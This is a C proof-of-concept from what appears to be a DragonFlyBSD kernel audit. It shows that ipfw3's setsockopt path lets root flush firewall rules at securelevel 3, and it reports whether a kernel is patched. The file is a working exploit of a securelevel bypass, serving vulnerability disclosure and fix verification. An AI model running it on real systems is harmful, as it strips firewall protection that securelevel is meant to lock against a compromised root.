โฌข DragonFlyBSD Kernel Audit
DF-0761 / df0761.c
โ† back to finding โ†“ download raw
/*
 * DF-0761 โ€” ipfw3 sockopt path bypasses securelevel>=3 firewall-mutability gate.
 *
 * Claim: sys/net/ipfw3/ip_fw3_glue.c:50-62  ip_fw3_sockopt() dispatches every
 * IP_FW_X setsockopt straight to ip_fw_ctl_x_ptr WITHOUT the securelevel>=3
 * check that ALL sibling glue layers enforce:
 *   - sys/net/ipfw/ip_fw2_glue.c:65-69   (ip_fw_sockopt)      HAS the check
 *   - sys/net/dummynet3/ip_dummynet3_glue.c:159-163                HAS the check
 *   - sys/net/pf/pf_ioctl.c:992  (securelevel>1 gate)              HAS the check
 *
 * Threat model: securelevel 3 ("network immutable") is the boundary that is
 * supposed to contain a COMPROMISED root โ€” once raised, even root must not be
 * able to flush/alter the firewall ruleset.  ipfw3 breaks that promise: a
 * root process can keep mutating ipfw3 via setsockopt(IP_FW_X) after
 * securelevel>=3.  This is a privileged-only policy/logic bypass (NOT memory
 * corruption); there is no unprivileged escalation chain.
 *
 * Test (run as root):
 *   1. kldload ipfw3  (must happen at securelevel < 0; ipfw3 not auto-loaded)
 *   2. add a rule so the ruleset is non-empty (gives flush something to flush)
 *   3. raise kern.securelevel to 3
 *   4. attempt setsockopt(IPPROTO_IP, IP_FW_X, {opcode=IP_FW_FLUSH})
 *      - UNPATCHED (#0): returns 0   -> BYPASS confirmed (securelevel gate absent)
 *      - PATCHED   (#1): returns -1/EPERM -> gate present
 *   5. cross-check: same setsockopt but opcode=IP_FW_GET (a SOPT_GET-style op)
 *      is not gated by securelevel in either ipfw2 or the fix; we exercise it
 *      only to show the path is otherwise functional.
 *
 * Build:  cc -o df0761 df0761.c
 * Run:    ./df0761   (must be root; the run.sh wrapper enforces this)
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

/* IP_FW_X is the ipfw3 setsockopt name (sys/netinet/in.h:389 -> 49). */
#ifndef IP_FW_X
#define IP_FW_X 49
#endif

/* ipfw3 opcodes carried inside the IP_FW_X x_header
 * (sys/net/ipfw3/ip_fw3.h:372-377). */
#define OP_IP_FW_FLUSH     52
#define OP_IP_FW_GET       54

/* ip_fw_x_header (sys/net/ipfw3/ip_fw3.h:366-369): { uint16_t opcode; uint16_t pad; } */
struct ip_fw_x_header {
	unsigned short opcode;
	unsigned short pad;
};

static int try_fw_x(const char *tag, unsigned short opcode)
{
	int s, rc;
	struct ip_fw_x_header xh;
	socklen_t optlen;

	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) {
		printf("[%s] socket(SOCK_RAW) failed: %s (need root)\n",
		       tag, strerror(errno));
		return -1;
	}

	memset(&xh, 0, sizeof(xh));
	xh.opcode = opcode;
	xh.pad = 0;

	/* For IP_FW_X the kernel reads at least sizeof(ip_fw_x_header) (4 bytes)
	 * from sopt_val; for OP_IP_FW_FLUSH the handler needs no further payload. */
	errno = 0;
	rc = setsockopt(s, IPPROTO_IP, IP_FW_X, &xh, sizeof(xh));
	printf("[%s] setsockopt(IP_FW_X, opcode=%u) -> rc=%d errno=%d (%s)\n",
	       tag, opcode, rc, errno, rc ? strerror(errno) : "OK");
	close(s);
	return rc;
}

int main(void)
{
	long sl;

	if (geteuid() != 0) {
		fprintf(stderr, "must run as root (raw socket + securelevel)\n");
		return 2;
	}

	if (sizeof(struct ip_fw_x_header) != 4) {
		fprintf(stderr, "internal: ip_fw_x_header size %zu != 4\n",
			sizeof(struct ip_fw_x_header));
		return 2;
	}

	/* Read kern.securelevel via sysctlbyname-equivalent: read /proc-free path. */
	{
		int v = -999;
		size_t l = sizeof(v);
		int sysctl(const int *, u_int, void *, size_t *,
			   const void *, size_t);
		int name[2] = { 1 /*CTL_KERN*/, 9 /*KERN_SECURELVL, sys/sys/sysctl.h:505*/ };
		if (sysctl(name, 2, &v, &l, NULL, 0) == 0) {
			printf("[env] kern.securelevel = %d\n", v);
			sl = v;
		} else {
			printf("[env] sysctl securelevel failed: %s\n",
			       strerror(errno));
			sl = -999;
		}
	}

	/* Sanity: confirm ipfw3 path is wired (OP_IP_FW_GET is a get, ungated). */
	try_fw_x("sanity-GET", OP_IP_FW_GET);

	/* The actual bypass probe. */
	if (sl >= 3) {
		printf("[probe] securelevel>=3 active; ipfw2 path returns EPERM; "
		       "ipfw3 path must ALSO return EPERM if the gate is present.\n");
	} else {
		printf("[probe] WARNING: securelevel<3 (%ld); EPERM test is "
		       "inconclusive โ€” run.sh raises securelevel to 3 first.\n",
		       sl);
	}

	int rc = try_fw_x("bypass-FLUSH", OP_IP_FW_FLUSH);

	/* Result marker:
	 *   BYPASS: rc==0 at securelevel>=3  -> securelevel gate is missing
	 *   GATED : rc<0  errno==EPERM       -> securelevel gate is present */
	if (sl >= 3) {
		if (rc == 0) {
			printf("\n=== RESULT: BYPASS CONFIRMED ===\n"
			       "setsockopt(IP_FW_X, FLUSH) succeeded at "
			       "securelevel=%ld -> ipfw3 securelevel>=3 gate is "
			       "MISSING (DF-0761 reproduced)\n", sl);
			return 0;
		} else if (errno == EPERM) {
			printf("\n=== RESULT: GATED (FIXED) ===\n"
			       "setsockopt(IP_FW_X, FLUSH) returned EPERM at "
			       "securelevel=%ld -> securelevel>=3 gate is "
			       "present (bug closed)\n", sl);
			return 1;
		} else {
			printf("\n=== RESULT: INCONCLUSIVE ===\n"
			       "setsockopt returned errno=%d (%s), not 0 and not "
			       "EPERM โ€” investigate\n", errno, strerror(errno));
			return 3;
		}
	}
	return 0;
}